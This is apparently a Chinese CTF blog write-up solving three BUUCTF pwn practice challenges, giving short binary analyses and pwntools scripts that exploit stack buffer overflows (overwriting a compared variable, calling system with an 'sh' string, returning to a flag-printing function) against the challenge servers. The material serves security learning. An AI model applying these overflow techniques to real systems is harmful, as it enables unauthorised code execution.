buuctf:mrctf2020_easyoverflow、wustctf2020_getshell_2、bbys_tu_2016
本文最后更新于282 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com


1、mrctf2020_easyoverflow分析


checksec:

挺吓人的,看看代码吧

但是看到有后门就没事了

main:

是要满足什么条件才执行,所以关键在check函数

check:


让i=strlen(fake_flag)

在main函数中输入到v4,比较是v5

v4距ebp0x70,v5距ebp0x40,思路就是在0x40中写入n0t_r3@11y_f1@g,其他填充a即可,注意填充的顺序。

2、mrctf2020_easyoverflow实操

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",27247)

payload=b'a'*(0x70-0x40)+b'n0t_r3@11y_f1@g'
p.sendline(payload)
p.interactive()


3、wustctf2020_getshell_2分析


checksec:

32位开了NX

有这个

system(“/bbbbbbbbin_what_the_f?ck__–??/sh”)

但是后面的参数肯定是不行的,可以用ROPgadget找sh

sh=0x08048670

注意system的地址0x8048529 (call system)

用shell的地址system的参数就不对,也不用system的plt地址

看看栈溢出:

0x18+4

直接做就好了

4、wustctf2020_getshell_2实操

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",26874)

sys=0x8048529 
sh=0x08048670

payload=b'a'*(0x18+4)+p32(sys)+p32(sh)
p.sendline(payload)
p.interactive()


5、bbys_tu_2016分析


checksec:

还是32位NX,有一个输入

main函数说这个程序饿了

这里可以栈溢出0xc+4

printFlag函数:


这里可以输出flag,地址返回到这里就行0x804856D,很简单

6、bbys_tu_2016实操

wtf?居然打不通,只有gdb看看偏移了


重新试试:

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",28979)

printflag=0x804856D

payload=b'a'*24+p32(printflag)
p.sendline(payload)
p.interactive()


就到这儿吧,去看看ctfshow

继续学习ing......
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇